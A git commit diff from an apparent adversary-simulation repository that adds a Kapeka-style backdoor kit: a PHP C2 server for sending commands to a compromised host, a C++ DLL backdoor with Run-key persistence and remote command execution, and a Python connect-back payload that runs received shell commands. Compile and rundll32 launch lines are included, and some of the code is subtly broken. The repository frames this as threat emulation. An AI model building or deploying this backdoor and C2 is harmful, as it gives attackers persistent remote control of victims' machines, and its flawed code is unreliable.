mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,120 @@
|
||||
<?php
|
||||
// This PHP C2 server script enables remote communication by utilizing RSA encryption for secure data transmission between the attacker server and the target. Commands are encrypted using RSA encryption before being sent to the target.
|
||||
|
||||
// This C2 is for simulation only and is still under development
|
||||
// php C2-Server.php
|
||||
// Author: S3N4T0R
|
||||
// Date: 2024-6-16
|
||||
|
||||
// Disclaimer: it's essential to note that this script is for educational purposes only, and any unauthorized use of it could lead to legal consequences.
|
||||
|
||||
// Generate RSA keys
|
||||
function generate_rsa_keys() {
|
||||
$config = array(
|
||||
"digest_alg" => "sha256",
|
||||
"private_key_bits" => 2048,
|
||||
"private_key_type" => OPENSSL_KEYTYPE_RSA,
|
||||
);
|
||||
$res = openssl_pkey_new($config);
|
||||
openssl_pkey_export($res, $private_key);
|
||||
$public_key = openssl_pkey_get_details($res)["key"];
|
||||
|
||||
return array($private_key, $public_key);
|
||||
}
|
||||
|
||||
// Encrypt data using RSA
|
||||
function rsa_encrypt($data, $public_key) {
|
||||
openssl_public_encrypt($data, $encrypted_data, $public_key);
|
||||
return $encrypted_data;
|
||||
}
|
||||
|
||||
// Decrypt data using RSA
|
||||
function rsa_decrypt($data, $private_key) {
|
||||
openssl_private_decrypt($data, $decrypted_data, $private_key);
|
||||
return $decrypted_data;
|
||||
}
|
||||
|
||||
// Send encrypted output to the payload
|
||||
function send_to_payload($socket, $data, $public_key) {
|
||||
$encrypted_data = rsa_encrypt($data, $public_key);
|
||||
socket_write($socket, $encrypted_data, strlen($encrypted_data));
|
||||
}
|
||||
|
||||
// Encrypted commands from the payload
|
||||
function receive_from_payload($socket, $buffer_size, $private_key) {
|
||||
$encrypted_data = socket_read($socket, $buffer_size);
|
||||
return rsa_decrypt($encrypted_data, $private_key);
|
||||
}
|
||||
|
||||
echo "\033[0;32m";
|
||||
echo <<<BANNER
|
||||
|
||||
############################################################################################
|
||||
# 1. Enter a command directly to be executed by the compromised system. #
|
||||
# 2. Commands are securely transmitted using RSA encryption. #
|
||||
# NOTE: Enter the command to execute when prompted. #
|
||||
###########################################################################################
|
||||
|
||||
BANNER;
|
||||
echo "\033[0m\n";
|
||||
|
||||
$attacker_ip = readline("[*] Enter your IP: ");
|
||||
$c2_port = readline("[*] Enter C2 server port: ");
|
||||
|
||||
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
if ($socket === false) {
|
||||
echo "Socket creation failed: " . socket_strerror(socket_last_error()) . "\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (!socket_bind($socket, $attacker_ip, $c2_port)) {
|
||||
echo "Socket bind failed: " . socket_strerror(socket_last_error()) . "\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (!socket_listen($socket, 5)) {
|
||||
echo "Socket listen failed: " . socket_strerror(socket_last_error()) . "\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
echo "[*] Waiting for incoming connection...\n";
|
||||
|
||||
// Accept incoming connection
|
||||
$client_socket = socket_accept($socket);
|
||||
if ($client_socket === false) {
|
||||
echo "Socket accept failed: " . socket_strerror(socket_last_error()) . "\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
list($private_key, $public_key) = generate_rsa_keys();
|
||||
|
||||
// Send the public key to the client
|
||||
socket_write($client_socket, $public_key, strlen($public_key));
|
||||
|
||||
// Main loop for fetching and executing commands
|
||||
while (true) {
|
||||
// Get command directly from user
|
||||
$command = readline("[*] Enter command to execute: ");
|
||||
send_to_payload($client_socket, $command, $public_key);
|
||||
|
||||
// Exit the loop if the command is 'exit'
|
||||
if (trim($command) == 'exit') {
|
||||
echo "Exiting...\n";
|
||||
break;
|
||||
}
|
||||
|
||||
// Receive output from payload
|
||||
$output = receive_from_payload($client_socket, 4096, $private_key);
|
||||
|
||||
echo "[*] Command Output:\n$output\n";
|
||||
|
||||
// Wait for a period before fetching new commands
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
// Close sockets
|
||||
socket_close($client_socket);
|
||||
socket_close($socket);
|
||||
|
||||
?>
|
||||
|
||||
@@ -0,0 +1,96 @@
|
||||
# Voodoo Bear APT44 Adversary Simulation
|
||||
|
||||
This is a simulation of attack by (Voodoo Bear) APT44 group targeting entities in Eastern Europe the attack campaign was active as early as mid-2022,
|
||||
The attack chain starts with backdoor which is a DLL targets both 32-bit and 64-bit Windows environments, It gathers information and fingerprints the user and the machine then sends the information to the attackers-controlled C2, The backdoor uses a multi-threaded approach, and leverages event objects for data synchronization and signaling across threads. I relied on withsecure tofigure out the details to make this simulation: https://labs.withsecure.com/publications/kapeka
|
||||
|
||||

|
||||
|
||||
|
||||
Kapeka, which means “little stork” in Russian, is a flexible backdoor written in C++. It allows the threat actors to use it as an early stage toolkit, while also providing long term persistence to the victim network. Kapeka’s dropper is a 32-bit Windows executable that drops and launches the backdoor on a victim machine. The dropper also sets up persistence by creating a scheduled task or autorun registry. Finally, the dropper removes itself from the system.
|
||||
If you need to know more about Kapeka backdoor for Voodoo Bear APT group: https://blog.polyswarm.io/voodoo-bears-kapeka-backdoor-targets-critical-infrastructure
|
||||
|
||||
|
||||
1. RSA C2-Server: I developed C2 server script enable to make remote communication by utilizes RSA encryption for secure data transmission between the attacker server and the target.
|
||||
|
||||
2. Testing payload : I used payload written by Python only to test C2 (testing payload.py), if there were any problems with the connection (just for test connection) before writing the actual payload.
|
||||
|
||||
3. DLL backdoor: I have developed a simulation of the kapeka backdoor that the attackers used in the actual attack.
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
## The first stage (RSA C2-Server)
|
||||
|
||||
This PHP C2 server script enable to make remote communication by utilizes RSA encryption for secure data transmission between the attacker server and the target.
|
||||
|
||||

|
||||
|
||||
|
||||
`rsa_encrypt($data, $public_key):`
|
||||
|
||||
Purpose: Encrypts data using the RSA public key.
|
||||
Process: The function takes the data and the public key as input, then uses openssl_public_encrypt to encrypt the data with the provided public key.
|
||||
Output: Returns the encrypted data.
|
||||
|
||||
`rsa_decrypt($data, $private_key):`
|
||||
|
||||
Purpose: Decrypts data using the RSA private key.
|
||||
Process: The function takes the encrypted data and the private key as input, then uses openssl_private_decrypt to decrypt the data with the provided private key.
|
||||
Output: Returns the decrypted data.
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
## The Second stage (Testing payload)
|
||||
|
||||
I used payload written by Python only to test C2 (testing payload.py), if there were any problems with the connection (just for test connection) before writing the actual payload.
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
RSA and PKCS1_OAEP from pycryptodome: For encryption and decryption using RSA.
|
||||
|
||||
rsa_encrypt(data, public_key): Encrypts data using the provided public key.
|
||||
|
||||
rsa_decrypt(data, private_key): Decrypts data using the provided private key (not used in this script).
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
Note: Ensure that the server is correctly sending RSA-encrypted commands and handling the responses appropriately. The script requires the pycryptodome library for RSA encryption and decryption:
|
||||
|
||||
pip install pycryptodome
|
||||
|
||||
## The third stage (kapeka backdoor)
|
||||
|
||||
The Kapeka backdoor is a Windows DLL containing one function which has been exported by ordinal2 (rather than by name). The backdoor is written in C++ and compiled (linker
|
||||
14.16) using Visual Studio 2017 (15.9). The backdoor file masquerades as a Microsoft Word Add-In with its extension (.wll), but in reality it is a DLL file.
|
||||
|
||||
I have developed a simulation of the kapeka backdoor that the attackers used in the actual attack.
|
||||
|
||||
|
||||
|
||||
In total, the backdoor launches four main threads:
|
||||
|
||||
• First thread: This is the primary thread which performs the initialization and exit routine, as well as C2 polling to receive tasks or an updated C2 configuration.
|
||||
|
||||
• Second thread: Monitors for Windows log off events, signaling the primary thread to perform the backdoor’s graceful exit routine upon log off.
|
||||
|
||||

|
||||
|
||||
|
||||
• Third thread: Monitors for incoming tasks to be processed. This thread launches subsequent threads to execute each received task.
|
||||
|
||||
• Fourth thread: Monitors for completion of tasks to send back the processed task results to the C2.
|
||||
|
||||

|
||||
|
||||
|
||||
manual compile:`x86_64-w64-mingw32-g++ -shared -o kapeka_backdoor.dll kapeka_backdoor.cpp -lws2_32`
|
||||
|
||||
Run the DLL:`rundll32.exe kapeka_backdoor.dll,ExportedFunction -d`
|
||||
Binary file not shown.
@@ -0,0 +1,253 @@
|
||||
// Permissions: Ensure that you have the necessary permissions to execute and test the DLL on the Windows system.
|
||||
// Dependencies: The DLL relies on the Winsock library (Ws2_32.lib), which is standard on Windows, so no additional dependencies are required.
|
||||
// Anti-Virus: Be aware that many anti-virus programs will detect and block backdoor-like activities. This is intended to be an educational example, and any malicious use is illegal and unethical.
|
||||
|
||||
// Disclaimer: this backdoor for research & simulation, i am not responsible if anyone uses this payload for illegal purposes
|
||||
|
||||
// Author: S3N4T0R
|
||||
// Date: 2024-6-13
|
||||
|
||||
// manual compile: x86_64-w64-mingw32-g++ -shared -o kapeka_backdoor.dll kapeka_backdoor.cpp -lws2_32
|
||||
|
||||
// Run the DLL: rundll32.exe kapeka_backdoor.dll,ExportedFunction -d
|
||||
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <iostream>
|
||||
#include <thread>
|
||||
#include <string>
|
||||
#include <fstream>
|
||||
#include <vector>
|
||||
|
||||
#pragma comment(linker, "/EXPORT:ExportedFunction=_ExportedFunction@0,PRIVATE")
|
||||
#pragma comment(lib, "Ws2_32.lib")
|
||||
|
||||
#define C2_SERVER_IP "192.168.1.7"
|
||||
#define C2_SERVER_PORT 7777
|
||||
|
||||
extern "C" __declspec(dllexport) void ExportedFunction();
|
||||
|
||||
void primary_thread(HANDLE exit_event, HANDLE new_task_event);
|
||||
void logoff_monitor_thread(HANDLE exit_event);
|
||||
void task_monitor_thread(HANDLE new_task_event, HANDLE task_completed_event);
|
||||
void task_completion_monitor_thread(HANDLE task_completed_event);
|
||||
std::string execute_command(const std::string& cmd);
|
||||
std::vector<std::string> split(const std::string& str, const std::string& delimiter);
|
||||
void log(const std::string& message);
|
||||
bool initialize_winsock();
|
||||
SOCKET connect_to_c2();
|
||||
void close_socket(SOCKET sock);
|
||||
void send_data(SOCKET sock, const std::string& data);
|
||||
std::string receive_data(SOCKET sock);
|
||||
|
||||
HANDLE exit_event;
|
||||
HANDLE new_task_event;
|
||||
HANDLE task_completed_event;
|
||||
|
||||
extern "C" __declspec(dllexport) void ExportedFunction() {
|
||||
// This function is exported by ordinal
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||||
switch (ul_reason_for_call) {
|
||||
case DLL_PROCESS_ATTACH: {
|
||||
char cmdLine[MAX_PATH];
|
||||
GetModuleFileNameA(hModule, cmdLine, MAX_PATH);
|
||||
std::string cmd = GetCommandLineA();
|
||||
|
||||
exit_event = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
new_task_event = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
task_completed_event = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
|
||||
if (cmd.find("-d") != std::string::npos) {
|
||||
// Initial run tasks (e.g., adding to startup)
|
||||
HKEY hKey;
|
||||
RegOpenKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey);
|
||||
RegSetValueEx(hKey, "KapekaBackdoor", 0, REG_SZ, (BYTE *)cmdLine, strlen(cmdLine) + 1);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
std::thread(primary_thread, exit_event, new_task_event).detach();
|
||||
std::thread(logoff_monitor_thread, exit_event).detach();
|
||||
std::thread(task_monitor_thread, new_task_event, task_completed_event).detach();
|
||||
std::thread(task_completion_monitor_thread, task_completed_event).detach();
|
||||
break;
|
||||
}
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
SetEvent(exit_event);
|
||||
CloseHandle(exit_event);
|
||||
CloseHandle(new_task_event);
|
||||
CloseHandle(task_completed_event);
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void primary_thread(HANDLE exit_event, HANDLE new_task_event) {
|
||||
if (!initialize_winsock()) {
|
||||
log("Primary thread: Failed to initialize Winsock.");
|
||||
return;
|
||||
}
|
||||
|
||||
SOCKET c2_socket = connect_to_c2();
|
||||
if (c2_socket == INVALID_SOCKET) {
|
||||
log("Primary thread: Failed to connect to C2 server.");
|
||||
WSACleanup();
|
||||
return;
|
||||
}
|
||||
|
||||
while (WaitForSingleObject(exit_event, 1000) == WAIT_TIMEOUT) {
|
||||
// Poll C2 server for tasks or updated configuration.
|
||||
log("Primary thread: Polling C2 server...");
|
||||
|
||||
send_data(c2_socket, "poll");
|
||||
std::string response = receive_data(c2_socket);
|
||||
|
||||
if (!response.empty()) {
|
||||
log("Primary thread: Received task.");
|
||||
std::ofstream out("tasks.txt");
|
||||
out << response;
|
||||
out.close();
|
||||
SetEvent(new_task_event);
|
||||
}
|
||||
Sleep(5000); // Simulate delay between polls
|
||||
}
|
||||
|
||||
close_socket(c2_socket);
|
||||
WSACleanup();
|
||||
log("Primary thread: Exiting...");
|
||||
}
|
||||
|
||||
void logoff_monitor_thread(HANDLE exit_event) {
|
||||
while (WaitForSingleObject(exit_event, 1000) == WAIT_TIMEOUT) {
|
||||
// Monitor for log off events.
|
||||
log("Logoff monitor thread: Checking for logoff events...");
|
||||
Sleep(10000); // Simulate time delay between checks
|
||||
}
|
||||
log("Logoff monitor thread: Exiting...");
|
||||
}
|
||||
|
||||
void task_monitor_thread(HANDLE new_task_event, HANDLE task_completed_event) {
|
||||
while (WaitForSingleObject(new_task_event, 1000) == WAIT_TIMEOUT) {
|
||||
// Monitor for new tasks to process.
|
||||
log("Task monitor thread: Waiting for new tasks...");
|
||||
|
||||
std::ifstream in("tasks.txt");
|
||||
std::string line;
|
||||
while (std::getline(in, line)) {
|
||||
log("Processing task: " + line);
|
||||
std::string result = execute_command(line);
|
||||
log("Task result: " + result);
|
||||
}
|
||||
in.close();
|
||||
|
||||
SetEvent(task_completed_event);
|
||||
Sleep(1000); // Simulate processing delay
|
||||
}
|
||||
log("Task monitor thread: Exiting...");
|
||||
}
|
||||
|
||||
void task_completion_monitor_thread(HANDLE task_completed_event) {
|
||||
while (WaitForSingleObject(task_completed_event, 1000) == WAIT_TIMEOUT) {
|
||||
// Monitor for task completion.
|
||||
log("Task completion monitor thread: Task completed.");
|
||||
|
||||
// Simulate sending back results to C2 server
|
||||
std::ofstream out("results.txt", std::ios_base::app);
|
||||
out << "Task completed successfully\n";
|
||||
out.close();
|
||||
|
||||
ResetEvent(task_completed_event);
|
||||
}
|
||||
log("Task completion monitor thread: Exiting...");
|
||||
}
|
||||
|
||||
std::string execute_command(const std::string& cmd) {
|
||||
char buffer[128];
|
||||
std::string result = "";
|
||||
FILE* pipe = _popen(cmd.c_str(), "r");
|
||||
if (!pipe) {
|
||||
return "popen failed!";
|
||||
}
|
||||
while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
|
||||
result += buffer;
|
||||
}
|
||||
_pclose(pipe);
|
||||
return result;
|
||||
}
|
||||
|
||||
std::vector<std::string> split(const std::string& str, const std::string& delimiter) {
|
||||
std::vector<std::string> tokens;
|
||||
size_t prev = 0, pos = 0;
|
||||
do {
|
||||
pos = str.find(delimiter, prev);
|
||||
if (pos == std::string::npos) pos = str.length();
|
||||
std::string token = str.substr(prev, pos - prev);
|
||||
if (!token.empty()) tokens.push_back(token);
|
||||
prev = pos + delimiter.length();
|
||||
} while (pos < str.length() && prev < str.length());
|
||||
return tokens;
|
||||
}
|
||||
|
||||
void log(const std::string& message) {
|
||||
std::ofstream logFile("log.txt", std::ios_base::app);
|
||||
logFile << message << std::endl;
|
||||
}
|
||||
|
||||
bool initialize_winsock() {
|
||||
WSADATA wsaData;
|
||||
int result = WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
if (result != 0) {
|
||||
log("Winsock initialization failed.");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
SOCKET connect_to_c2() {
|
||||
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (sock == INVALID_SOCKET) {
|
||||
log("Socket creation failed.");
|
||||
return INVALID_SOCKET;
|
||||
}
|
||||
|
||||
sockaddr_in server;
|
||||
server.sin_family = AF_INET;
|
||||
server.sin_addr.s_addr = inet_addr(C2_SERVER_IP);
|
||||
server.sin_port = htons(C2_SERVER_PORT);
|
||||
|
||||
if (connect(sock, (sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) {
|
||||
log("Connection to C2 server failed.");
|
||||
closesocket(sock);
|
||||
return INVALID_SOCKET;
|
||||
}
|
||||
|
||||
log("Connected to C2 server.");
|
||||
return sock;
|
||||
}
|
||||
|
||||
void close_socket(SOCKET sock) {
|
||||
closesocket(sock);
|
||||
log("Socket closed.");
|
||||
}
|
||||
|
||||
void send_data(SOCKET sock, const std::string& data) {
|
||||
send(sock, data.c_str(), data.length(), 0);
|
||||
log("Data sent: " + data);
|
||||
}
|
||||
|
||||
std::string receive_data(SOCKET sock) {
|
||||
char buffer[512];
|
||||
int bytesReceived = recv(sock, buffer, sizeof(buffer), 0);
|
||||
if (bytesReceived == SOCKET_ERROR) {
|
||||
log("Receive data failed.");
|
||||
return "";
|
||||
}
|
||||
buffer[bytesReceived] = '\0';
|
||||
std::string data(buffer);
|
||||
log("Data received: " + data);
|
||||
return data;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
import socket
|
||||
import subprocess
|
||||
from Crypto.PublicKey import RSA
|
||||
from Crypto.Cipher import PKCS1_OAEP
|
||||
|
||||
ip = "192.168.1.7"
|
||||
port = 4444
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((ip, port))
|
||||
|
||||
# Receive the public key from the server
|
||||
public_key_pem = s.recv(2048).decode()
|
||||
print("[*] Received public key: {}".format(public_key_pem))
|
||||
public_key = RSA.import_key(public_key_pem)
|
||||
|
||||
# Encrypt data using RSA
|
||||
def rsa_encrypt(data, public_key):
|
||||
cipher = PKCS1_OAEP.new(public_key)
|
||||
return cipher.encrypt(data.encode())
|
||||
|
||||
# Decrypt data using RSA
|
||||
def rsa_decrypt(data, private_key):
|
||||
cipher = PKCS1_OAEP.new(private_key)
|
||||
return cipher.decrypt(data).decode()
|
||||
|
||||
while True:
|
||||
# Receive and decrypt command from the server
|
||||
encrypted_command = s.recv(256)
|
||||
cipher = PKCS1_OAEP.new(public_key)
|
||||
command = cipher.decrypt(encrypted_command).decode()
|
||||
print("[*] Received command: {}".format(command))
|
||||
|
||||
if command.lower() == "exit":
|
||||
break
|
||||
|
||||
try:
|
||||
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
|
||||
s.sendall(output)
|
||||
except Exception as e:
|
||||
s.sendall(str(e).encode())
|
||||
|
||||
s.close()
|
||||
Reference in New Issue
Block a user